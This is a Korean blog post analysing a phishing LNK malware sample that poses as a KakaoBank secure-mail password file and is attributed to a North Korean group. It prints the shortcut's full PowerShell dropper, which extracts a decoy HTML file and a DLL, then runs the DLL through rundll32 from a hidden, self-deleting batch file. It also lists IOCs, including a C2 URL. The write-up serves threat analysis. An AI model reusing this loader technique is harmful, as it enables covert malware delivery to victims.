꿈을꾸는 파랑새

오늘은 2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체이며 Kimsuky(김수키)일 가능성도 있는 단체 가능성이 있습니다.일단 오늘 분석을 해볼 악성코드는 카카오에서 보낸 것으로 위장하는 악성코드이며 요즈음 유행하는 링크 방식을 사용하고 있습니다.
먼저 해시 값은 다음과 같습니다.
파일명:피싱 카카오 뱅크 보안메일 비밀번호.lnk.lnk
사이즈:4.44 MB
MD5:7336068f2c5ed3ed154b6c8b1d72726a
SHA-1:e72c90aedd2ef27226d891f464caec19635a6fd3
SHA-256:5a3f1d14b9cc4890db64fbc41818d7039f25b0120574dcdec4e20d13e6b2740c
해당 악성코드를 실행하면 다음과 같은 경로에 파일을 하나 만듭니다.
C:\Users\사용자\AppData\Local\Temp
securityMail_1101(.)html
해당 파워셀(Powershell) 내용은 다음과 같습니다.

Cerbero Suite Advanced 로 본 링크 파일 속 PowerShell 코드
Cerbero Suite Advanced 로 본 링크 파일 속 PowerShell 코드

c powershell/W 01 $dirPath (=) Get-Location;($)lnkpath (=) Get-ChildItem 
(-)Path $dirPath -Recurse *(.)lnk ^| where-object {$_.length (-)e(q)
0x0000(4)72AC4} ^| Select-Object -ExpandProperty FullName;(i)f($lnkpath.length
-eq 0) {$dirPath = \"$env:temp\";$lnkpath (=) Get(-)Chil(d)Item
-Pa(t)h $dir(P)ath -Recur(s)e *(.)lnk ^| where-object {$_.length
-eq 0x0(0)00472AC4} ^| Se(l)ect-Object -ExpandProperty FullName;};$pdfFile
(=) g(c) $lnkpath (-)Encoding Byte -TotalCount 00091900 -ReadCount 00091900;$pdfPath
= \"$env:temp\(s)ecurityMail_1101(.)html\"; s(c) $pdfPath ([byte[]]($pdfFile ^|
select -Skip 004386)) -Encoding Byte; ^& $pdfPath;$exeFile (=) g(c) $lnkpath
(-)Encoding Byte -TotalCount 04664004 -ReadCount 04664004;$exePath=\
"$env:public\17399(.)zip\";sc $exeP(a)th ([byte[]]($e(x)eFile ^|
select -Skip 0009(1)900)) (-)Encoding Byte;$shell = new-obj(e)ct -com
shell.application;$(z)ip = $shell.Na(m)espace($exePath);if(($)zip.items().count -g(t)
(0){$executemodule = $env:public + '\' + $zip.items().it(e)m(0).name;$shell(.)
Nam(e)space($env:public).CopyH(e)re($z(i)p.items().item(0), 1044) ^| ou(t)-null;
remo(v)e-item -path ($)exePath -force;$batPath=\"$env:pub(l)ic\18105(.)bat\";
$cmdline=\"rundll32(.)exe `\"$executem(o)dule`\",Run`r`(n)del /f /q %0\";
sc $batP(a)th $cmdline;s(t)art-process -filepath $(b)atPat(h) -windowstyle hidden;};
 iconlocation: (.)html
}

피싱 카카오 뱅크 보안메일 비밀번호
피싱 카카오 뱅크 보안메일 비밀번호

코드 설명

해당 스크립트는 PowerShell을 사용하여 다음 작업을 수행합니다.
1. 현재 디렉터리를 얻고 해당 디렉터리에서 확장자가. lnk (바로 가기)이고 길이가 0x0000472AC4인 파일을 찾음
2. 위에서 찾은 바로 가기 파일의 경로를 얻고 해당 경로를 lnkpath 변수에 저장
3.lnkpath가 비어 있으면 임시 환경 변수인 $env:temp에서 .lnk 파일을 찾아서 경로를 얻음
4. 찾은 .lnk 파일에서 특정 바이트 수만큼 읽어 PDF 파일로 저장
PDF 파일의 경로를 $env:temp\securityMail_1101(.)html로 정의
5. 다시 .lnk 파일에서 다른 바이트 수만큼 읽어 실행 파일로 저장
실행 파일의 경로를 $env:public\17399.zip로 정의
6..zip 파일을 열어서 내부의 항목이 있는지 확인하고 파일이 존재하면 실행 모듈을 추출
7. 추출한 실행 모듈을 $env:public 디렉터리로 복사하고, 원본 .zip 파일을 삭제
8. 새로운 배치 파일을 생성하고 해당 배치 파일을 실행하여 실행 모듈을 실행
여기서 C:\Users\Public 에서 17399.zip 이라는 파일을 생성하고 해당 압축 파일에서 mfc100.dll 이라는 파일을 추출하면 해쉬값은 다음과 같습니다.

악성코드가 생성한 securityMail_1101(.)html 파일
악성코드가 생성한 securityMail_1101(.)html 파일

파일명:mfc100.dll
사이즈:4.38 MB
MD5:cb675bbebcc4a77cf5a3b341734b84de
SHA-1:39663e144dc00e3eff004895347a91cb78a6f675
SHA-256:0e926d8b6fbf6f14a2a19d4d4af843253f9f5f6de337956a12dde279f3321d78
인터넷에서 다음 사이트 접속을 합니다.

https://naver-file(.)com:443/download/list(.)php?q=e1&18467=41

사용하는 IP 트래픽

5.8.71(.)81:443 (TCP)
8.247.211(.)254:80 (TCP)

그리고 securityMail_1101(.)html 생성된 파일의 웹 소스를 보면 다음과 같이 돼 있습니다.

securityMail_1101(.)html 웹소스
securityMail_1101(.)html 웹소스

function ready () {
      	
        gVMObject.init();
        gVMObject.addEvent (window, "resize", resizeFrame);
		document.getElementById("org").style.display="block";
	

		if (navigator.platform == "Win32" ||
			navigator.platform == "MacIntel" || navigator.platform == 'iPad' ||
			navigator.platform == "Linux i686" || navigator.platform == "Linux x686") {
			if (document.getElementById("noscript") != null) {
				document.getElementById("noscript").style.width="100%";
			}
			
		} 
		
		
		var elepwd = document.getElementById("password");
				
		if(window.vestmail_browser_info.mobile && (window.vestmail_browser_info.browser!="Firefox")) {
			elepwd.setAttribute("type", "number");
			elepwd.setAttribute("inputmode", "numeric");
			elepwd.setAttribute("pattern", "[0-9]*");
		}
		if (elepwd) {
			elepwd.focus();
		}
    }
      
		var userLang = navigator.language || navigator.userLanguage; 
      	
	  // messages
	  if(userLang.indexOf("ko") != -1) {
		  vestmail_msg_download_link  = "저장하려면 여기를 클릭하세요.";
		  vestmail_msg_wrong_password = "비밀번호 입력이 잘못되었습니다.";
		  vestmail_msg_processing = "복호화 진행 중입니다.";
		  vestmail_msg_not_supported_browser = "지원하지 않는 브라우저입니다.";
		} else {
			vestmail_msg_download_link  = "Please click here to save.";
		  vestmail_msg_wrong_password = "Enter password is invalid.";
		  vestmail_msg_processing     = "Progress is being decoded.";
		  vestmail_msg_not_supported_browser = "Unsupported Browser.";
		}
	  //var vmfile_url = "http://sfsn.yettiesoft(.)com/vestmail/vmfile(.)html";

코드 설명

function ready () {
  // Vestmail 객체를 초기화합니다.
  gVMObject.init();

  // 창 크기가 변경될 때 resizeFrame 함수를 실행하도록 이벤트를 추가합니다.
  gVMObject.addEvent (window, "resize", resizeFrame);

  // "org" 요소를 표시합니다.
  document.getElementById("org").style.display="block";

  // Windows, macOS, iPad, Linux i686 또는 Linux x686 플랫폼인 경우
  if (navigator.platform == "Win32" ||
    navigator.platform == "MacIntel" || navigator.platform == 'iPad' ||
    navigator.platform == "Linux i686" || navigator.platform == "Linux x686") {

    // "noscript" 요소가 존재하는 경우
    if (document.getElementById("noscript") != null) {
      // "noscript" 요소의 너비를 100%로 설정합니다.
      document.getElementById("noscript").style.width="100%";
    }
  }

  // "password" 요소를 가져옵니다.
  var elepwd = document.getElementById("password");

  // 모바일 브라우저이고 Firefox 브라우저가 아닌 경우
  if(window.vestmail_browser_info.mobile && (window.vestmail_browser_info.browser!="Firefox")) {
    // "password" 요소의 입력 유형을 숫자로 설정합니다.
    elepwd.setAttribute("type", "number");

    // "password" 요소의 입력 모드를 숫자로 설정합니다.
    elepwd.setAttribute("inputmode", "numeric");

    // "password" 요소의 패턴을 0-9로 설정합니다.
    elepwd.setAttribute("pattern", "[0-9]*");
  }

  // "password" 요소가 존재하는 경우
  if (elepwd) {
    // "password" 요소에 포커스를 맞춥니다.
    elepwd.focus();
  }

  // 사용자 언어를 가져옵니다.
  var userLang = navigator.language || navigator.userLanguage;

  // 사용자 언어가 한국어인 경우
  if(userLang.indexOf("ko") != -1) {
    // Vestmail 메시지를 한국어로 설정합니다.
    vestmail_msg_download_link = "저장하려면 여기를 클릭하세요.";
    vestmail_msg_wrong_password = "비밀번호 입력이 잘못되었습니다.";
    vestmail_msg_processing = "복호화 진행 중입니다.";
    vestmail_msg_not_supported_browser = "지원하지 않는 브라우저입니다.";
  } else {
    // Vestmail 메시지를 영어로 설정합니다.
    vestmail_msg_download_link  = "Please click here to save.";
    vestmail_msg_wrong_password = "Enter password is invalid.";
    vestmail_msg_processing = "Progress is being decoded.";
    vestmail_msg_not_supported_browser = "Unsupported Browser.";
  }
}

해당 악성코드 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Dropper/LNK.Generic.S2241
Arcabit:Trojan.Generic.D4241D01
Avast:Win32:Trojan-gen
AVG:Win32:Trojan-gen
Avira (no cloud):TR/Crypt.XPACK.Gen2
BitDefender:Trojan.GenericKD.69475585
BitDefenderTheta:AI:Packer.880B7FB51D
Cynet:Malicious (score: 99)
Cyren:LNK/ABRisk.MSGQ-3
Elastic:Malicious (high Confidence)
Emsisoft:Trojan.GenericKD.69475585 (B)
eScan:Trojan.GenericKD.69475585
ESET-NOD32:LNK/TrojanDropper.Agent.DD
F-Secure:Trojan.TR/Crypt.XPACK.Gen2
Fortinet:LNK/Agent.726A!tr
GData:Trojan.GenericKD.69475585
Google:Detected
Ikarus:Trojan-Dropper.LNK.Agent
Kaspersky:HEUR:Trojan.WinLNK.Agent.gen
Kingsoft:Win32.Troj.Unknown.a
Lionic:Trojan.WinLNK.Powecod.4!c
MAX:Malware (ai Score=82)
Microsoft:Trojan:Win32/WinLNK!MSR
QuickHeal:LNK.ROKRAT.47713.GC
Rising:Trojan.PSRunner/LNK!1.BADE (CLASSIC)
Sangfor Engine Zero:Suspicious.Win32.Save.a
SentinelOne (Static ML):Static AI - Suspicious LNK
Sophos:Troj/LnkDrop-M
Symantec:Trojan Horse
Trellix (FireEye):Trojan.GenericKD.69475585
VBA32:Trojan.Link.Crafted
VIPRE:Trojan.GenericKD.69475585
ViRobot:LNK.S.Agent.4664004
Zillya:Trojan.Powecod.Script.484
ZoneAlarm by Check Point:HEUR:Trojan.WinLNK.Agent.gen
결론
가장 기초적인 보안 수칙을 지키면 안전하게 사용을 할 수가 있음

공유하기

facebook twitter kakaoTalk kakaostory naver band